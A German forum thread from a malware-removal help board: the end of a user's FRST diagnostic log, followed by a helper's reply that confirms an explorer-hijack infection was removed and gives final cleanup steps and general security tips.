FirewallRules: [{F620B299-2563-4DF8-B7BF-64CEF8CE5D73}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{58A7CEAC-BD89-4906-8802-CC7EAA2D5CA3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2cfg.exe

FirewallRules: [{D4DAC0C6-FDE9-41F0-B9FD-D751A80A083D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2cfg.exe

FirewallRules: [{6C509364-8BAA-4FF3-8F21-35BDFE9F4E9B}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{BAD19D4C-6D25-4F9D-9337-314AE17FF150}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{BFE4213B-CC35-4711-8BE8-918C239CAFEB}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{88950193-384B-4394-B893-9D9B67417B86}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{3AACE4DF-D7B6-408E-BB43-A32052AC0D33}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{E4085E2C-1441-481E-8498-716301809904}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B0F06C56-5C5D-4191-AE97-CA80ADE0C6CF}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe

FirewallRules: [{34051D0E-6847-4CED-A111-DBA345847DD0}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe

FirewallRules: [{2C276577-70DE-41F9-9AC8-240C8D1B71E1}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe

FirewallRules: [{EBCB342C-E889-46B6-A155-FF0EEEBA40DB}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe

FirewallRules: [{54BCAE60-FAE6-4E7E-B768-8779857E84F1}] => (Allow) C:\Program Files (x86)\Skype\Phone\Skype.exe

FirewallRules: [{5207AEB2-4136-4BAA-84BC-70B41C9ABE4A}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe

FirewallRules: [{F28BF37D-8969-4915-97CC-4ED8875972FD}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe

FirewallRules: [{CBFE2ED2-36E9-4974-BEF0-A081E5A8E85F}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamUserAgent.exe

FirewallRules: [{DC70CB90-4841-43F5-9122-1FBB3B2F121D}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

FirewallRules: [{1DA07592-B958-435C-B9C8-2F2BFD0140E1}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

FirewallRules: [{04C83F46-AC54-4B51-BAFE-50EB14006008}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{472AFE3F-0033-4132-938D-A746C1200CB6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [TCP Query User{7B88EF8D-96CE-4216-AF6C-AC0628B4AD77}C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe

FirewallRules: [UDP Query User{431CA897-6069-458F-A5ED-50B246344709}C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe

FirewallRules: [{9AE7186B-4072-471A-B309-3CB05922FB70}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C9478BC4-3E1E-4BFD-8A11-CEE96FC36F22}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{0D031CF2-BC49-490C-911B-E9C8E76463EB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{8CC5D0BE-0665-4D2D-8262-662FD557D1AF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{181DA604-349F-43BF-8201-2C94BA0D16F2}] => (Allow) C:\Program Files (x86)\Everbean\Application\chrome.exe

FirewallRules: [{E55F8F6F-CBF5-486C-8090-5F92B493C03D}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe

FirewallRules: [{DE60D1F8-DC68-461A-A7AF-2A65B60C1E30}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C320652F-AACF-4EDA-9AA6-C786FFA63117}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AC896D46-11F7-494A-AB9F-DC11924FC941}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{71C6581E-CF1A-4960-995D-5620AF77C7EF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{0B0F6BBC-B133-4D78-ABE8-44C606F97BB2}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

FirewallRules: [{3CEAAE20-4595-40D4-8251-382FE28AC8E7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9EBD0BD6-B439-458E-81A2-595108D71309}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{38499CD2-9DA3-498B-9A92-69D63F8FCEDE}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D2BB3242-1D3F-4AD1-9548-0D65A92E5A66}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{74251A41-7445-4E02-8B38-242A5CC687C7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{51DADC6F-501E-4332-9ED7-4C2FBFB3CB02}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1BB1ED51-522E-40FF-9461-EA817B39C2D0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{508E7BA9-A78D-48B5-8C04-CEF9A1EC5888}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe
 

==================== Wiederherstellungspunkte =========================
 

14-04-2017 08:01:07 Windows Update

23-04-2017 05:06:51 Geplanter Prüfpunkt

25-04-2017 05:21:54 JRT Pre-Junkware Removal
 

==================== Fehlerhafte Geräte im Gerätemanager =============
 
 

==================== Fehlereinträge in der Ereignisanzeige: =========================
 

Applikationsfehler:

==================

Error: (04/27/2017 08:52:04 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Program Files (x86)\ESET\ESET Online Scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 08:47:43 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Program Files (x86)\ESET\ESET Online Scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 08:47:28 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "c:\program files (x86)\eset\eset online scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:52:22 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Program Files (x86)\ESET\ESET Online Scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:52:08 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Program Files (x86)\ESET\ESET Online Scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:51:26 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Users\Andy\Desktop\esetsmartinstaller_deu.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:51:11 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Users\Andy\Desktop\esetsmartinstaller_deu.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:51:05 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Users\Andy\Desktop\esetsmartinstaller_deu.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:50:59 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Users\Andy\Downloads\esetsmartinstaller_deu.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/24/2017 01:38:03 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 
 

Systemfehler:

=============

Error: (04/27/2017 05:54:19 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "eapihdrv" wurde aufgrund folgenden Fehlers nicht gestartet: 

Der Treiber konnte nicht geladen werden.
 

Error: (04/27/2017 05:54:19 AM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Users\Andy\AppData\Local\Temp\ehdrv.sys
 

Error: (04/27/2017 05:54:18 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "eapihdrv" wurde aufgrund folgenden Fehlers nicht gestartet: 

Der Treiber konnte nicht geladen werden.
 

Error: (04/27/2017 05:54:18 AM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Users\Andy\AppData\Local\Temp\ehdrv.sys
 

Error: (04/27/2017 05:54:18 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "eapihdrv" wurde aufgrund folgenden Fehlers nicht gestartet: 

Der Treiber konnte nicht geladen werden.
 

Error: (04/27/2017 05:54:18 AM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Users\Andy\AppData\Local\Temp\ehdrv.sys
 

Error: (04/27/2017 05:52:36 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "eapihdrv" wurde aufgrund folgenden Fehlers nicht gestartet: 

Der Treiber konnte nicht geladen werden.
 

Error: (04/27/2017 05:52:36 AM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Users\Andy\AppData\Local\Temp\ehdrv.sys
 

Error: (04/27/2017 05:52:36 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "eapihdrv" wurde aufgrund folgenden Fehlers nicht gestartet: 

Der Treiber konnte nicht geladen werden.
 

Error: (04/27/2017 05:52:36 AM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Users\Andy\AppData\Local\Temp\ehdrv.sys
 
 

CodeIntegrity:

===================================

  Date: 2017-04-25 06:19:48.335

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume1\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements.
 

  Date: 2017-04-24 03:33:10.874

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume1\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements.
 

  Date: 2017-04-23 05:01:20.151

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume1\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements.
 

  Date: 2017-04-22 11:08:26.541

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:26.317

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:26.101

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:25.899

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:46.529

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:24.580

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Windows\System32\nvspcap64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:24.334

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 
 

==================== Speicherinformationen =========================== 
 

Prozessor: AMD FX(tm)-8350 Eight-Core Processor 

Prozentuale Nutzung des RAM: 21%

Installierter physikalischer RAM: 16284.96 MB

Verfügbarer physikalischer RAM: 12753.47 MB

Summe virtueller Speicher: 18716.96 MB

Verfügbarer virtueller Speicher: 14845.3 MB
 

==================== Laufwerke ================================
 

Drive c: () (Fixed) (Total:465.3 GB) (Free:324.68 GB) NTFS ==>[Laufwerk mit Startkomponenten (eingeholt von BCD)]

Drive d: (Samsung SDD) (Fixed) (Total:232.88 GB) (Free:24.92 GB) NTFS

Drive e: (Samsung HDD) (Fixed) (Total:232.88 GB) (Free:32.5 GB) NTFS ==>[System mit Startkomponenten (eingeholt von Laufwerk)]
 

==================== MBR & Partitionstabelle ==================
 

========================================================

Disk: 0 (MBR Code: Windows 7 or 8) (Size: 465.8 GB) (Disk ID: 399BE559)

Partition 1: (Active) - (Size=465.3 GB) - (Type=07 NTFS)

Partition 2: (Not Active) - (Size=471 MB) - (Type=27)
 

========================================================

Disk: 1 (MBR Code: Windows 7 or 8) (Size: 232.9 GB) (Disk ID: 92061219)

Partition 1: (Not Active) - (Size=232.9 GB) - (Type=07 NTFS)
 

========================================================

Disk: 2 (MBR Code: Windows 7 or 8) (Size: 232.9 GB) (Disk ID: 996E3212)

Partition 1: (Active) - (Size=232.9 GB) - (Type=07 NTFS)
 

==================== Ende von Addition.txt ============================

Hi,

entschuldige, du hast recht das Log war da, ich muss nur die Augen aufmachen :stirn:

Es tut mir leid das es so lange gedauert hat.

Zitat:

war hier der Ursprung mit dabei, der mich quasi immer wieder mithilfe des explorers infiziert hat, also das mit dem "hxxp://point.orangeiloveyou.com/" zeug?

Ja, den hat Malwarebytes zwar nun auch gefunden, aber wir haben es entfernt.

Zitat:

Was hat es mit dem Treiber (ehdrv.sys) konnte nicht geladen werden auf sich?

Die .sys-Datei (der Treiber) gehört zu ESET (deshalb tauchen die Error-Meldungen auch erst jetzt auf) und ESET scheint ja gut durchgelaufen zu sein. Warum die Meldung da steht kann ich nicht sagen, Windows versucht da etwas das nicht funktioniert (das muss nichts wichtiges sein), Sorgen musst du dir keine machen.

Zitat:

sind Passwörter derzeit gefährdet

Soweit ich aus den Logs erkennen kann war da nichts das Passwörter ausspioniert, trotzdem solltest du regelmäßig deine Passwörter ändern - jetzt wäre ein guter Zeitpunkt damit anzufangen :)

Ein paar Reste müssten noch weg, dann sind wir durch :)

Schritt 1:

Drücke bitte die Windowstaste + R Taste und schreibe notepad in das Ausführen Fenster.

Kopiere nun folgenden Text aus der Code-Box in das leere Textdokument

Code:

2017-04-20 16:58 - 2017-04-20 16:58 - 00000000 _____ C:\Windows\SysWOW64\33

2017-04-20 16:58 - 2017-04-20 16:58 - 00000000 _____ C:\Windows\SysWOW64\11

C:\Windows\Installer\MSI5066.tmp

C:\Windows\Installer\MSI6CAD.tmp

C:\Windows\Installer\MSI9643.tmp

C:\Windows\Installer\MSIDD15.tmp

Speichere diese bitte als Fixlist.txt auf deinem Desktop (oder dem Verzeichnis in dem sich FRST befindet).

Starte nun FRST erneut und klicke den Entfernen Button.
Das Tool erstellt eine Fixlog.txt.
Poste mir deren Inhalt.

-------------------------------------------------------

Wichtig für dich: Java aktualisieren.

Dein PC ist nun clean :daumenhoc

Lade dir jetzt Delfix http://filepony.de/icon/tiny/delfix.png herunter:

Schließe alle offenen Programme.
Starte die delfix.exe mit einem Doppelklick.
Setze vor jede Funktion ein Häkchen.
Klicke auf Start.

Hinweis: DelFix entfernt u. a. alle verwendeten Programme, die Quarantäne unserer Scanner, den Java-Cache und löscht sich abschließend selbst. Starte deinen Rechner abschließend neu.

Malwarebytes Anti-Malware http://filepony.de/icon/tiny/malware...ti_malware.png und ESET http://filepony.de/icon/tiny/eset_online_scanner.png kannst du über die Systemsteuerung deinstallieren, ich würde dir allerdings raten beides zu behalten und deinen PC damit ab und an zu scannen.

Sollten jetzt noch Programme aus unserer Bereinigung übrig sein kannst du sie bedenkenlos löschen.

Lass mich dir einen Rucksack voll mit Tipps und Hinweisen geben um ein Wiedersehen so gut wie möglich zu vermeiden :)

Absicherung:

Achte immer darauf einen Virenscanner zu verwenden und diesen aktuell zu halten.
Meine persönlichen Empfehlungen:
- Emsisoft http://filepony.de/icon/tiny/emsisoft_anti_malware.png
- Windows Defender http://www.trojaner-board.de/picture...&pictureid=733
Der Internet Explorer ist nicht bekannt für seine Sicherheit, halte ihn aber trotzdem aktuell da einige Programme ihn benutzen. Benutze zum Surfen stattdessen einen der folgenden Browser:
- Mozilla Firefox http://www.trojaner-board.de/picture...&pictureid=734
- Google Chrome http://www.trojaner-board.de/picture...&pictureid=735
Dazu kannst du noch das Add-On Adblock Plushttp://www.trojaner-board.de/picture...&pictureid=736 verwenden, damit werden Werbungen und Pop-Ups blockiert.
Zu guter Letzt halte deine Software aktuell, die Updates gibt es nicht ohne Grund, mit ihnen werden wichtige Sicherheitslücken geschlossen.
Dazu gehören vor allem:
- Windowshttp://www.trojaner-board.de/picture...&pictureid=737 - stelle sicher das die automatischen Updates aktiviert sind
- Java x64 oder/und Java x86 http://www.trojaner-board.de/picture...&pictureid=738
- PDF Reader http://www.trojaner-board.de/picture...&pictureid=739 (Achtung: Häkchen vor dem Download entfernen)
- Flash Player http://www.trojaner-board.de/picture...&pictureid=740 (Achtung: Häkchen vor dem Download entfernen)
- Browser (Opera, Safari, Firefox, Chrome,...)

Dein Verhalten im Internet:

Lade dir deine Software entweder direkt von der Herstellerseite oder von übersichtlichen und sauberen Seiten wie FilePony.de herunter.
Download-Seiten wie ~~Chip~~ oder ~~Softonic~~ mögen bequem erscheinen, sind aber nicht vertrauensvoll. Lies dir dazu am Besten das hier durch: CHIP-Installer - was ist das? - Anleitungen
Klicke nicht auf alles nur weil es groß ist und bunt leuchtet. Wenn die Möglichkeit besteht, dann wähle eine benutzerdefinierte Installation, in der wird dir meist die Gelegenheit gegeben zusätzliche Software (Toolbars, Suchmaschinen, etc) ab zu wählen.
Benutze nicht dasselbe Passwort für mehrere Seiten. Ein gutes Passwort besteht aus 7+ Zeichen und beinhaltet Großbuchstaben, Kleinbuchstaben und Sonderzeichen. Ein guter Weg sich ein Passwort zu erstellen ist die Anfangsbuchstaben eines Satzes zu nehmen.
Ein Beispiel: Ich sitze vor dem PC, und denke mir ein Passwort aus
Passwort: IsvdPC,udmePa
Solltest du bei Dateien/Downloads/Internetseiten mal nicht sicher sein ob diese sicher sind, dann schau doch einfach hier nach: https://www.virustotal.com/
Halte dich von Tools fern die versprechen deinen PC zu beschleunigen oder zu optimieren

Unterstütze uns!

Wenn du mit meiner Bereinigung zufrieden warst würden wir uns über eine Spende freuen. Dies kannst du hier tun: http://www.trojaner-board.de/79994-s...ndenkonto.html.

Auch über Feedback und Verbesserungsvorschläge freuen wir uns, schau dazu doch hier vorbei!

Ansonsten bleibt mir nur noch dir alles Gute zu wünschen und bedanke mich für deine Mitarbeit und dein Vertrauen :abklatsch:

Ich bin froh, dass wir helfen konnten :abklatsch:

In diesem Forum kannst du eine kurze Rückmeldung zur Bereinigung abgeben, sofern du das möchtest:
Lob, Kritik und Wünsche
Klicke dazu auf den Button "NEUES THEMA" und poste ein kleines Feedback. Vielen Dank! :)

Dieses Thema scheint erledigt und wird aus meinen Abos gelöscht. Solltest Du das Thema erneut brauchen, schicke mir bitte eine Profilnachricht inklusive Link zum Thema.

Jeder andere bitte hier klicken und einen eigenen Thread erstellen.